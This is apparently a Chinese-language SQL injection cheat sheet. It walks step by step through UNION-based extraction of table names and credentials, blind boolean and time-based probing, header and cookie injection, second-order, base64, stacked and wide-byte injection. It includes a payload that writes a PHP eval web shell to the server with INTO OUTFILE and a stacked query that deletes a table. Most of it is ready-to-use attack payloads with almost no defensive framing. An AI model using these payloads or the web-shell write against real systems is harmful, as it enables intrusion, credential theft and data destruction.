第一部分:常规注入(数据有回显前端)
第一步:测试数据类型
1.数字型
id=1 and 1=1 页面正常 id=1 and 1=2 页面不正常
2.字符型
id=1‘ and ’1‘=’1 页面正常 id=1‘ and ’1‘=’2 页面不正常
3.睡眠判断(数据不回显前端时使用)
id=1' and sleep(10)--+ 页面缓冲10秒说明判断正确
4.开发常用接受参数的类型
数字型: id=$id
字符型: id='$id'
括号+单引号: id=('$id')
括号+双引号: id=("$id")
双重括号+单引号: id=(('$id'))
5.注入时注意注释符 --+ 和 # 的替换使用
第二步:开始注入
以下数据库mysql,数据类型为整型作为演示案例
1.猜字段数(页面显示错误与正常的临界值)
?id=1 order by 4
2.报错猜解准备
?id=-1 union select 1,2,3,4
3.信息收集
数据库版本: version()
数据库名字: database()
数据库用户: user()
操作系统: @@version_compile_os
数据库路径: @@datadir 或者 @@basedir
4.获得表名(利用上一步获得的数据库名)
查询指定数据库名dvwa下的表名信息: ?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='dvwa'
5.获得列名(利用上一步获得的表名)
查询指定表名GJC下的列名信息: ?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='GJC'
6.获得数据
查询表名中的指定数据:?id=1 union select 1,name,password,4 from GJC
第二部分:盲注(数据不回显前端)
1.基于报错的SQL注入
2.基于布尔的SQL注入(注意二分法的使用)
我们通过构造一个判断条件( length(database()) = 8)判断目标是否满足条件,满足条件则执行成功,不满足则执行失败。database()是当前数据库名称length(database())取出数据库名称的长度< = > 分别为大于、等于、小于,用来判断是否满足条件。用来猜解。
3.基于时间的SQL注入
第三部分:文件注入操作
使用条件:使用之前我们需要先找到网站的绝对路径.(获取方法:报错显示,谷歌语法,site:目标网站,遗留文件如phpinfo,漏洞爆出路径,读取配置文件)
1.先判断出过滤方式为数字型还是字符型
2.开始注入文件(虽然页面报错,但是我们已经上传成功)
?id=1')) union select 1,2,3 into outfile "D:\\phpStudy\\其他路径\\" --+
我们可以直接将一句话木马写进去
?id=1')) union select 1,2,'<?php @eval($_post["mima"])?>' into outfile "D:\\phpStudy\\其他路径\\yijuhua.php" --+
第四部分:提交注入
1.登录注册框内进行SQL注入
判断在账号(username)还是密码(password)进行注入更好
2.user-agent注入
通过抓包获取http头,修改user-agent的值进行sql注入.
3.referer注入
通过抓包获取http头,修改referer的值进行sql注入.
3.cookice注入
通过抓包获取http头,修改referer的值进行sql注入.
(第一次登录后,保存cookice退出,下次登录时修改cookice 的值实现注入)
第五部分:注入拓展
1.二次注入
二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
2.加解密注入
SQL加解密注入原理:即get或者post的参数采用了base64等加密方式将数据进行加密,在通过参数传递给服务器,eg:www.xxx.com/index.php?id=MQ==
加密部分:MQ==
解密结果:1 相当于id=1
如果要写注入语句,应该先构造语句,再base64加密,
id=1 and 1=1
base64加密结果:MSBhbmQgMT0x
语句为:www.xxx.com/index.php?id=MSBhbmQgMT0x
3.DNSlog带外查询注入(代理池)
为什么使用dnslog注入:一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花时间的,可能会想到使用sqlmap直接去跑数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把你的ip封掉,这就影响了我们的测试进度,也许你可以使用代理池.
4.堆叠注入
局限:部分数据库支持
原理:mysql命令行中每一条语句结尾加 ; 表示语句结束.这样我们就想到了是不是可以多条语句一起使用.(好处:不用考虑加密问题)
例如:select * from products where prodictid=1;delete from products
当执行查询后,第一条显示查询信息,第二条将整个表进行删除.
5.宽字节注入
在使用PHP连接MYSQL的时候,当设置"setcharacter_set_client = gbk"时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入% DF%27,既可以把(%5C)吃掉,举个例子.id=1%df' and 1=1%23
6.其他... ...
注意:以上为不考虑对方存在waf防护的情况!!!